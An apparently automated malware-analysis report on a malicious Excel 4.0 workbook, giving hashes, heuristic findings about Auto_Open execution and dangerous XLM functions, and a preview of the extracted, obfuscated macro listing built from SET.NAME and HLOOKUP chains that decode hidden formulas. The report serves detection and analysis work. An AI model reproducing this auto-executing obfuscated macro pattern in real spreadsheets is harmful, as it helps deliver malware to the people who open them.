Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 020a94b02d0db77c…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:42:39 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 67d23ed038450d19b2961af1dd19727e SHA-1: 799fecd735db907024bd71c791288f42d37ad8e4 SHA-256: 020a94b02d0db77c1f485a4e86c37f98937a78b4cb4965b69ae9b0e555972b6d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6571 bytes
SHA-256: 6b4730196482775eb63beb326e2b4e79dd0d4d660b4acebe4809296ac39e2148
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sNV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C130 
' 0018     21 LABEL : Cell Value, String Constant - CAxCCT len=0 
' 0018     23 LABEL : Cell Value, String Constant - EsBzRhny len=0 
' 0018     27 LABEL : Cell Value, String Constant - KslAKlLVxhxB len=0 
' 0018     25 LABEL : Cell Value, String Constant - LGmJRXvaHm len=0 
' 0018     27 LABEL : Cell Value, String Constant - MvNYUdBHWfKr len=0 
' 0018     25 LABEL : Cell Value, String Constant - NNpJOZxudq len=0 
' 0018     20 LABEL : Cell Value, String Constant - OejHu len=0 
' 0018     20 LABEL : Cell Value, String Constant - QFDRU len=0 
' 0018     23 LABEL : Cell Value, String Constant - qLRBCcnP len=0 
' 0018     22 LABEL : Cell Value, String Constant - qOnKicd len=0 
' 0018     24 LABEL : Cell Value, String Constant - RfZnBmMHz len=0 
' 0018     21 LABEL : Cell Value, String Constant - SIBaba len=0 
' 0018     27 LABEL : Cell Value, String Constant - smjxsRrmjcyM len=0 
' 0018     26 LABEL : Cell Value, String Constant - vkLqfdwvoDT len=0 
' 0018     27 LABEL : Cell Value, String Constant - wnqpUdiEnNrZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - xjdYScstr len=0 
' 0018     27 LABEL : Cell Value, String Constant - yDhsJcRgWkow len=0 
' 0018     23 LABEL : Cell Value, String Constant - yePJyZiR len=0 
' 0018     24 LABEL : Cell Value, String Constant - ymBdfvzfU len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZDUnLUm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sNV,C45,"SET.NAME("RfZnBmMHz",0+VALUE("0"))",""
'  sNV,C50,"SET.NAME("MvNYUdBHWfKr",RfZnBmMHz)",""
'  sNV,C55,"SET.NAME("QFDRU",RfZnBmMHz)",""
'  sNV,C58,"SET.NAME("vkLqfdwvoDT",COUNTA(SIBaba))",""
'  sNV,S59,"",-460.00000000000000000000
'  sNV,S60,"",368.00000000000000000000
'  sNV,C61,"SET.NAME("KslAKlLVxhxB",COUNTA(wnqpUdiEnNrZ))",""
'  sNV,S61,"",-532.00000000000000000000
'  sNV,S62,"",-723.00000000000000000000
'  sNV,C63,[],""
'  sNV,S63,"",421.00000000000000000000
'  sNV,S64,"",-374.00000000000000000000
'  sNV,C68,"SET.NAME("qLRBCcnP","")",""
'  sNV,C70,"MvNYUdBHWfKr",""
'  sNV,C75,"SET.NAME("ymBdfvzfU",HLOOKUP("*",SIBaba,MvNYUdBHWfKr,FALSE))",""
'  sNV,C77,"OejHu",""
'  sNV,C82,"SET.NAME("ZDUnLUm",RfZnBmMHz)",""
'  sNV,C86,[],""
'  sNV,C90,"ZDUnLUm",""
'  sNV,C92,"CAxCCT",""
'  sNV,C94,"EsBzRhny",""
'  sNV,C98,"yDhsJcRgWkow",""
'  sNV,C101,"SET.NAME("qOnKicd",VALUE(HLOOKUP("*",wnqpUdiEnNrZ,yDhsJcRgWkow,FALSE)))",""
'  sNV,C103,"smjxsRrmjcyM",""
'  sNV,C105,"qLRBCcnP",""
'  sNV,C107,"QFDRU",""
'  sNV,C109,NEXT(),""
'  sNV,C111,"yePJyZiR",""
'  sNV,C116,[],""
'  sNV,C121,"xjdYScstr",""
'  sNV,C125,NEXT(),""
'  sNV,C127,RETURN(),""
'  sNV,C155,"SET.NAME("NNpJOZxudq",C45)",""
'  sNV,C159,"SIBaba",""
'  sNV,C163,"SET.NAME("wnqpUdiEnNrZ",R65C12)",""
'  sNV,C166,"SET.NAME("xjdYScstr",175)",""
'  sNV,C171,"SET.NAME("LGmJRXvaHm",3)",""
'  sNV,C174,NNpJOZxudq(),""
'  sNV,C175,HALT(),""

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